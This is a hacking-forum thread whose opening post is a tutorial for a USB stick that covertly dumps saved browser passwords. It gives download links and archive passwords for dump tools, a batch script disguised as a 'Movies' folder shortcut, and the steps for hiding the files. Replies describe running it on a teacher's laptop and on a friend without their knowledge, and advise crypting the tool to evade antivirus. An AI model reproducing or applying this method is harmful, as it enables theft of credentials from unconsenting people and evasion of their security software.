Thread: [Steal them passwords with a USB.](#)

Mr. Robot - October 7, 2016, 3:18 pm

Simple tut, straight to the point.

Open to some input.

We will make it more or less discreet too.

Output will look like this

1. Download

<http://securityxploded.com/browser-password-dump.php>

Or direct link

http://securityxploded.org/getsoftware_direct.php?id=5761

2. Extract the files with the password securityxploded2007

3. Run the installer, and choose the install directory to be the USB.

4. Create the folders with the name Movies and Browser Passwords

5. Open notepad, and paste the following into it - then save the file as Movies.bat

Code @echo off

@echo off

cd %cd:~0,2%

start BrowserPasswordDump\BrowserPasswordDump.exe -f "Browser
Passwords\%compuername%.log"

start %SystemRoot%\explorer.exe "Movies"

6. Right click your Movies.bat file, and create a shortcut, then rename to just Movies

7. Right click your shortcut, and hit properties, then choose icon.

8. Select all the files except the movie shortcut and then right click, properties and then click hidden.

9. Run that shortcut on any PC, and the passwords will all be exported to the folder Browser Passwords\

10. Now to access that folder you can just do this, remember to replace D:\ with your current USB

drive

If security xploded doesn't work for you or gets picked up by antivirus you can try

http://www.nirsoft.net/password_recovery_tools.html -
scroll down to where it says

Click this download link.

Enter 'download' as the user name, and 'nirsoft123!' as the password.

After downloading the package, extract the files from it using the following password: nirsoft123!

Using this as the password "nirsoft123!" to download it and extract it - and using "download" as the username on the actual download URL

The reason it has a password now and is hard to find is they have a public version that is not command line to avoid people using it like I have demonstrated in the OP.

You would need to use

passwordtool.exe /stext passwords.txt

Replace passwordtool.exe with the name of the extracted executable from the zip file and replace passwords.txt with whatever you wish to name the text file - something like the computer name to keep the password logs all unique if using on multiple machines in a day or just do %random%.txt which will give it a random number such as 123151.txt

ChromePass.exe /stext %random%.txt

Dialupass.exe /stext %random%.txt

iepv.exe /stext %random%.txt

mailpv.exe /stext %random%.txt

msspass.exe /stext %random%.txt

netpass.exe /stext %random%.txt

PasswordFox.exe /stext %random%.txt

PstPassword.exe /stext %random%.txt

WebBrowserPassView.exe /stext %random%.txt

You will probably only want/need "WebBrowserPassView.exe"

d0xie - October 7, 2016, 3:24 pm

This seems interesting. I'll give it a shot sometime today when I'm done cleaning all my USB's out and organizing stuff.

nique ta mere - October 7, 2016, 3:26 pm

Amazing tutorial by Mr. Robot. Thank you.

Mr. Robot - October 7, 2016, 3:45 pm

Just a basic one, handy to have on your USB.

You can make the files hidden deeper on the USB if you want too, that's up to you.

D_MuLa - October 7, 2016, 3:47 pm

batch is still useful holy crap lol

Mr. Robot - October 7, 2016, 3:48 pm

(Oct 7, 2016 03:47 PM)D_MuLa Wrote: [\[CITE\]](#) batch is still useful holy crap lol
Lol what, Batch is great.

Tunechi - October 7, 2016, 3:49 pm

Dope tutorial, posting so I can come back to this later. Thanks for the info

Fantom4242 - October 7, 2016, 3:50 pm

You've been putting it to work with USB pentesting, and I love it

Horizon - October 7, 2016, 3:52 pm

Interesting post, thanks for sharing OP!

TheGoldenRelik - October 7, 2016, 4:08 pm

Posting to come back later!

Thanks in advance OP!

nique ta mere - October 7, 2016, 4:09 pm

thanks

Let me know how you get on.

GG123 - October 8, 2016, 4:06 pm

Seems cool tyty

will try

Dellinger - October 8, 2016, 4:07 pm

How does this compare to any generic USB stealers? Is it any more effective?

Mr. Robot - October 8, 2016, 4:14 pm

(Oct 8, 2016 04:07 PM)Dellinger Wrote: [\[CITE\]](#) How does this compare to any generic USB stealers?
Is it any more effective?

Compared to something like the nirsoft password grabbers, this works a lot better and by changing the shortcut to represent a folder, it's more discreet.

It's not in any way more effective, if you want I can write up a tutorial on how to make it email the passwords instead.

?Adroit - October 9, 2016, 11:51 am

I'm confused about the .bat.

I understand that it is suppose to run the application, dump the passwords, and run the folder so it does something, but shouldn't the code be

```
@echo off
@echo off
cd %cd:~0,2%
start F:\BrowserPasswordDump\BrowserPasswordDump.exe -f
"BrowserPasswordDump\%random%.txt"
start %SystemRoot%\explorer.exe "Movies"
```

Where the file name is BrowserPasswordDump instead of 'Browser Passwords'

Also, shouldn't there be F:\ or whatever your USB drive is because when I don't have it, it says the exe is not found.

And I'm also wondering what cd %cd:~0,2% is.

roya_viper1 - October 9, 2016, 12:02 pm

WOAW!!!!!!!! i'll give it a try

fannas1 - October 9, 2016, 12:09 pm

Very nice tutorial Sir I wil have a go at it thank you.

SIM-3280797 - October 9, 2016, 12:26 pm

Thanks for the post
gonna be helpful in the future

JavaDriveBy - October 9, 2016, 12:39 pm

Amazing tutorial. Thanks for sharing!

SIM-2478232 - October 9, 2016, 2:19 pm

What is the command for network passworddumper?

Hopsin - October 9, 2016, 4:40 pm

Thanks for contributing. Much appreciated!

WilcoW - October 10, 2016, 3:44 am

Awesome tutorial, and i am sure it works for others but i cant seem to run the installer, it appears for a second and then closes agian, is it because i dont have a USB thumb drive plugged in

Mr. Robot - October 10, 2016, 1:48 pm

(Oct 10, 2016 03:44 AM)WilcoW Wrote: [\[CITE\]](#) Awesome tutorial, and i am sure it works for others but i cant seem to run the installer, it appears for a second and then closes agian, is it because i dont have a USB thumb drive plugged in

I don't know why that would be mate, the install should run fine.

SIM-2478232 - October 10, 2016, 4:17 pm

Can you make a tutorial on how to reprogram a USB to a "BADUSB" so that when upon plugging a usb it can automatically do it for you steel password for you!

Mr. Robot - October 10, 2016, 4:23 pm

(Oct 10, 2016 04:17 PM)maximisxxx Wrote: [\[CITE\]](#) Can you make a tutorial on how to reprogram a USB to a "BADUSB" so that when upon plugging a usb it can automatically do it for you steel password for you!

This all depends on the USB and the firmware mate, sorry.

Danteb123 - October 10, 2016, 7:41 pm

just tried it works perfectly OP try it out your self before its gone

Mr. Robot - October 10, 2016, 10:21 pm

Glad it worked for you mate.

saydiamondz - October 10, 2016, 10:37 pm

trojan horse! when browser password dump finishes isntalling.

b?xxy - October 10, 2016, 10:38 pm

Fun tutorial. I take it you enjoy the show Mr. Robot?

Billet - October 11, 2016, 7:55 am

Thanks that was useful.it really worked

Mitheral - October 11, 2016, 12:10 pm

I have similar programs on a thumb drive, but this method seems more streamline. I will do it for sure. I'm collecting programs for "usb arsenal". I'm fascinated with usb hacking!

Armada - October 11, 2016, 2:00 pm

Interesting approach to an old script.

Cheers for the share man.

Shoe - October 11, 2016, 2:10 pm

Mr. Robot's MIA today. :(

(Oct 10, 2016 10:37 PM)saydiamondz Wrote: [\[CITE\]](#) trojan horse! when browser password dump finishes isntalling.Not a trojan. The software behaves as one, but you won't be experiencing any side effects. These applications fit the definition of a trojan, and therefore the antiviruses recognize them as such.

(Oct 10, 2016 10:38 PM)b?xxy Wrote: [\[CITE\]](#) Fun tutorial. I take it you enjoy the show Mr. Robot? Robot loves it.

SIM-2478232 - October 11, 2016, 6:47 pm

I did this to my teachers pc at school when she was distracted but the blank command prompt took for ever to go away(like 10sec in) then i unplugged because i felt uncomfortable she might catch me so i left her laptop to sit in my seat then she walk back in the class as so the bell ring for class

session to start. But didnt get any information. is it like full FUD or should i encrypt the "browserpassworddump.exe". and the instruction of hidden folder where still hidden upon plugging it in her windows 10 laptop.as soon as i got on my pc the shortcut broke. then realizing maybe one if her usb where being used on the laptop ports(2.0) or i should of wait longer for the batch to finish. even fixing the shortcut, no text was in the browserpassworddump folder though.

Blakee - October 11, 2016, 6:50 pm

(Oct 11, 2016 06:47 PM)maximisxxx Wrote: [\[CITE\]](#) I did this to my teachers pc at school when she was distracted but the blank command prompt took for ever to go away(like 10sec in) then i unplugged because i felt uncomfortable she might catch me so i left her laptop to sit in my seat then she walk back in the class as so the bell ring for class session to start. But didnt get any information. Most likely due to the fact your school has a strict anti-virus to prevent easily detectable infections like such.

Description - October 11, 2016, 6:51 pm

Very useful i'll do this to a couple of people i know (just kidding)

Thanks for the simple tut though.

SIM-2478232 - October 11, 2016, 6:57 pm

(Oct 11, 2016 06:50 PM)Bode Wrote: [\[CITE\]](#) Most likely due to the fact your school has a strict anti-virus to prevent easily detectable infections like such.ya their was McAfee running in the background. All laptops uses it and as well as the teacher pc. would using a crypter work for a usb stealer????

Nytrix - October 11, 2016, 6:59 pm

Ill have to check this out, thanks for the tutorial!

daymon - October 11, 2016, 7:55 pm

(Oct 11, 2016 06:47 PM)maximisxxx Wrote: [\[CITE\]](#) I did this to my teachers pc at school when she was distracted but the blank command prompt took for ever to go away(like 10sec in) then i unplugged because i felt uncomfortable she might catch me so i left her laptop to sit in my seat then she walk back in the class as so the bell ring for class session to start. You should test it offsite on your own pc before hand. The antivirus probably removed it, you need to crypt the file. But that's just assuming antivirus is their only source of security.

Toby Flenderson - October 13, 2016, 7:16 am

This looks dope. Thanks Mr. Robot!

Vishnu™ - October 13, 2016, 9:16 am

you can trust this, because it is posted by Mr. Robot

LastSession - October 13, 2016, 9:17 am

Seems to be lit. Nice HQ thread there Mr. Robot.

Moneyroller - October 13, 2016, 9:27 am

Oh this is going to be great! THanks!

?heshire - October 13, 2016, 9:31 am

Thanks Mr. Robot Ill have to try this out for sure!

TenaciousKI - October 13, 2016, 11:09 am

Could you pm me and break it down how to do this, would really appericate it. :) Things have to be broken down for me or I wont understand it.

iUpgrade - October 13, 2016, 11:11 am

Posting here to read this later when required

kpown - October 13, 2016, 11:12 am

USB rubber ducky automates this process but its rather expensive. I heard you can do similar work with an arduino though which is clearly cheaper.

am1g0 - October 13, 2016, 12:09 pm

cool tut, will be testing this sometime, bookmarked! :)

MrZymith - October 13, 2016, 4:00 pm

Amazing, just what i was looking for something to this extent. Thanks

:pirate: - October 13, 2016, 4:04 pm

Posting for future use.

Kind regards.

Nice tutorial man. Very detailed OP!

MLG_Skidder - November 16, 2016, 5:38 am

Great TuT by Mr. Robot.

I'll give this a shot!

BeyondInfinity - November 16, 2016, 6:16 am

nice tutorial thx for posting

Szel - November 16, 2016, 6:36 am

Can someone please help me how can I download it?

I was always bad at finding the right download button. :(

The direct link doesn't work for me.

knevlock - November 16, 2016, 11:56 am

This is great, thank you very much, added a few more programs to make it even better for my experience!

Mr. Robot - November 16, 2016, 4:22 pm

(Nov 16, 2016 07:36 AM)Szel Wrote: [\[CITE\]](#) Can someone please help me how can I download it? I was always bad at finding the right download button. :(

The direct link doesn't work for me.

If security xploded doesn't work for you or gets picked up by antivirus you can try

http://www.nirsoft.net/password_recovery_tools.html -
scroll down to where it says

Click this download link.

Enter 'download' as the user name, and 'nirsoft123!' as the password.

After downloading the package, extract the files from it using the following password: nirsoft123!

Using this as the password "nirsoft123!" to download it and extract it - and using "download" as the username on the actual download URL

The reason it has a password now and is hard to find is they have a public version that is not command line to avoid people using it like I have demonstrated in the OP.

You would need to use

passwordtool.exe /stext passwords.txt

Replace passwordtool.exe with the name of the extracted executable from the zip file and replace passwords.txt with whatever you wish to name the text file - something like the computer name to keep the password logs all unique if using on multiple machines in a day or just do %random%.txt which will give it a random number such as 123151.txt

ChromePass.exe /stext %random%.txt

Dialuppass.exe /stext %random%.txt

iepv.exe /stext %random%.txt

mailpv.exe /stext %random%.txt

mypass.exe /stext %random%.txt

netpass.exe /stext %random%.txt

PasswordFox.exe /stext %random%.txt

PstPassword.exe /stext %random%.txt

WebBrowserPassView.exe /stext %random%.txt

You will probably only want/need "WebBrowserPassView.exe"

bman9926 - November 16, 2016, 5:32 pm

Looks interesting, I'll be back

Uiqueblhats - November 18, 2016, 4:44 am

Posting to come back later mate

Sheeple - November 18, 2016, 5:48 am

The second method got picked up by Norton on my other Computer, it detected and started to delete some of the .exe files

carder67 - November 19, 2016, 8:08 am

mine looked like that :

@echo off

@echo off

```
BrowserPasswordDump.exe -f "Browser Password\%random%.txt"  
%SystemRoot%\explorer.exe "Movies"
```

thanks tho
and why did u add that for :: cd %cd:~0,2%?
and why add start ?

Szel - November 19, 2016, 12:24 pm

Pretty nice tutorial, but unfortunately something doesn't work for me.
I sent you a PM.

phucpham1301 - December 7, 2016, 5:31 am

You would need to use
passwordtool.exe /stext passwords.txt

Replace passwordtool.exe with the name of the extracted executable from the zip file and replace passwords.txt with whatever you wish to name the text file - something like the computer name to keep the password logs all unique if using on multiple machines in a day or just do %random%.txt which will give it a random number such as 123151.txt

```
ChromePass.exe /stext %random%.txt  
Dialupass.exe /stext %random%.txt  
iepv.exe /stext %random%.txt  
mailpv.exe /stext %random%.txt  
mypass.exe /stext %random%.txt  
netpass.exe /stext %random%.txt  
PasswordFox.exe /stext %random%.txt  
PstPassword.exe /stext %random%.txt  
WebBrowserPassView.exe /stext %random%.txt
```

You will probably only want/need "WebBrowserPassView.exe"
[/quote]

I'm still not understading about this, can you explain me more clearly ?I can't see passwordtool.txt.
Thanks for your help

JAX010800 - December 7, 2016, 6:41 am

Great thread! Very thorough and very easy to understand! Thanks for this OP, really appreciate it!

GRENN4DE! - December 7, 2016, 7:02 am

Vassilios - December 16, 2016, 12:12 pm

Am I the only one that has problems with the .zip not opening

Similarity - December 16, 2016, 1:11 pm

If the .zip does not open do the following:

- Navigate [here](#)
- Press [this](#) button
- Wait 5 secs and it should start downloading :)

No problem ?

frankfo - December 19, 2016, 6:00 am

GREAT as always dude, thanks for this..

shanimeow - December 20, 2016, 1:32 am

I need to save this, thanks OP! great job

Cryptic5 - December 20, 2016, 2:30 am

great tutorial Mr.Robot! Thanks for this!

Warxz - December 20, 2016, 3:39 am

Thanks a lot! I've used this method couple of years ago. But i've lost the files, so thanks in advance for sharing this!

milanis13 - December 20, 2016, 5:07 am

Really easy tutorial going to give it a try straight away when i get home!

mrjokacly - December 20, 2016, 8:30 am

Amazing tutorial by Mr. Robot. Thank you.

Cryptic5 - December 23, 2016, 3:02 pm

Came back to report, this was easy to setup and really useful, tried it on a friend, downloaded a short little video clip inside the movie folder and told him I had something hilarious to show him, he didn't suspect a thing!

toymachine - December 23, 2016, 7:15 pm

OMG, this is what i've been looking for... Thanks a lot for sharing..

stubbssamuel - January 12, 2017, 5:48 am

Awesome post. Thank you so much :)

TheMockingBird - January 12, 2017, 8:37 am

Yes, very nice tutorial.

However, if you're looking for a more professional way to spread malware physically with a device, you need to grab a Rubber Ducky USB.

Kohaine69 - January 13, 2017, 8:30 pm

Nice, looks like ill try this out

SeForm - January 14, 2017, 2:55 am
Fantastic tutorial Mr. Robot.

I'm looking to do the same thing but with a Mac.

Shadowhunter498 - February 7, 2017, 6:05 am
i didnt delete the echo off but it still displays command prompt

Nerdi - February 7, 2017, 6:08 am
I don't need this, but it looks cool.
Good tutorial Robot!

Space• - February 7, 2017, 7:52 am
With the first tool, can you save it to a .txt file?

Deeled - February 7, 2017, 9:50 am
This is useful! And also teaches us to be careful when opening files from USB! ;) Checking file type & enable view hidden files can be very useful! Thanks!

livsy2012bd - September 21, 2017, 4:03 am
sir when I read your post I am thinking that you are the best teacher cause the way you teach us its like university professor's lectures.
Sir I want to tell you one more thing.
Its a great tool, vouch for you sir.
Hello sir,
At first I am telling you please don't mind cause I message you here, I am new and that's why I can't send pm so I message here,
Sir I need something so that I can earn minimum 100 dollar daily and I don't have enough money to buy many software from hf so please suggest me the one best something and I am also totally new commmer. Thanks. Waiting for your reply sir.

Tides - September 21, 2017, 4:07 am
Nice tutorial man. Will probably try this.

toblaka - September 21, 2017, 8:58 am
Thanks for the share mate

HAAQ - September 21, 2017, 9:50 am
rubberducky idea

like it :DDDDDDDDDDDDDD

Darb - September 21, 2017, 12:31 pm
Wow it looks cool, going to try it out soon and will come back. Thanks buddy.

PinkPanda - September 21, 2017, 1:39 pm

LMAO this pajeet

sorry had to say it

reddevilforeverz - September 21, 2017, 2:18 pm

nice method thank you very much

Parkour516 - September 21, 2017, 7:45 pm

Hey! I really appreciate the post. I have my USB ready to use. However, I was wondering what I could do to make sure my files dont get detected. Any help?

ProdZay - September 23, 2017, 10:58 am

ill try it. thank you hopefully it works

lets see if this really works. hope it does thank you

Squa - September 26, 2017, 6:57 pm

Really detailed, if I needed to steal someones password this would be a go-to.

jackehis - September 26, 2017, 10:05 pm

Thanks bath, I will give it a try in the morning, i will have to get another USB as this once just stopped working...

gotta go - June 7, 2018, 12:54 am

so it is a keylogger usb.

Sir-Teabag - June 7, 2018, 1:17 am

Does this still work? cool tut

Mr. Robot - June 7, 2018, 1:55 am

(Jun 7, 2018 12:54 AM)gotta go Wrote: [CITE](#) so it is a keylogger usb.

If you want to use it with a keylogger, go for it but no this isn't a keylogger.

Webster89 - June 8, 2018, 5:16 pm

Amazing tutorial. Thanks for sharing!

mrkurvaa - June 20, 2018, 10:07 am

Very intersing , personaly i use an usb rubber ducky from hak5.

With powershell injections .

theodoor - August 26, 2018, 4:50 pm

Anybody still checking out this awesome thread, you can write a powershell script to hide the cmd window completely.

Paragon- - August 27, 2018, 7:51 pm

One word. Amazing ? ?

Mr. Robot - August 28, 2018, 1:57 am

(Jun 20, 2018 10:07 AM)mrkurvaa Wrote: [\[CITE\]](#) Very intersing , personaly i use an usb rubber ducky from hak5.

With powershell injections .

You could also make your own rubber ducky for around \$3

moosa666 - August 28, 2018, 2:38 am

does this one work when u just plug it in or autorun cause i used to have one it only worked when u open the usb

mrkurvaa - August 29, 2018, 8:06 am

(Aug 28, 2018 01:57 AM)Mr. Robot Wrote: [\[CITE\]](#) You could also make your own rubber ducky for around \$3

Yeah , i know! Ans it's not that hard to do . I was only talking about the topics on hak5 ! There're so many script that you can manage on it and so many ideas !

There is a lot to do .

I made a nice payload injector throught powerhell and also a nice keylogger witch send all keytrock to an ftp or e mail .

Sweet as isnt it

ikkejarlsnow - August 29, 2018, 9:03 am

Have to have this. Could you pm me a link? ?

Bankzy - August 29, 2018, 9:40 am

Nice! Will have a look at this, could you please PM me the link?

kasim393 - October 12, 2018, 11:53 am

You would need to use
passwordtool.exe /stext passwords.txt

from here I didn't understand what to do.

can you explain? or make video

victor419 - October 12, 2018, 12:53 pm

just a little confused, do you have to plug the usb into the target machine b4 you can get the password or do you need to send a sort of files to get it? just like rat.

Whiz_ - October 13, 2018, 5:53 pm

Hi there,

Haven't used securityxploded's browser password dumper yet.

Is it still working in 2018? and if then does it require crypter?

MoonMoister - October 17, 2018, 11:50 am

Too good to be true :D +1

pmtobefriend - October 21, 2018, 4:45 pm

(Oct 13, 2018 05:53 PM)Whiz_ Wrote: [\[CITE\]](#) Hi there,

Haven't used securityxploded's browser password dumper yet.

Is it still working in 2018? and if then does it require crypter?

idk how it was working the day of the thread being posted

but currently

Note: This free version shows one password only.

Please upgrade to enterprise Browser password software to recover all passwords

<https://xenarmor.com/browser-password-recovery-pro-software/>

so yeah too bad :(

Edge of Nowhere - October 21, 2018, 4:47 pm

Good alternative if you don't want to pay and get a Rubber Ducky.

I'd rep you if I could.

- Z - - October 21, 2018, 5:45 pm

Cheers, Thanks a lot man for this awesome tutorial.

cris996 - October 22, 2018, 6:49 am

Not bad for a newbie. Hope someone else find this usefull :)

? Heisenberg ? - October 28, 2018, 12:58 am

Amazing tutorial by Mr. Robot. Thank you

leo5in2k3 - October 28, 2018, 3:48 am

so can we have facebook password ?

StoneDeveloper - December 21, 2018, 4:39 am

batch is still useful holy crap lol

nateslayer - December 21, 2018, 5:09 am

Very detailed tutorial. Thanks

Newbie here btw

gagisha - December 21, 2018, 7:29 am

I made files hidden deeper on the USB

urkcoder - January 5, 2019, 11:49 am

Interesting post, thanks for sharing OP!

1iplusyou - January 24, 2019, 1:58 pm

this method is not working properly now...

PerfectStorm - January 24, 2019, 2:01 pm

These are called rubber ducky last I checked

<https://shop.hak5.org/products/usb-rubber-ducky-deluxe>
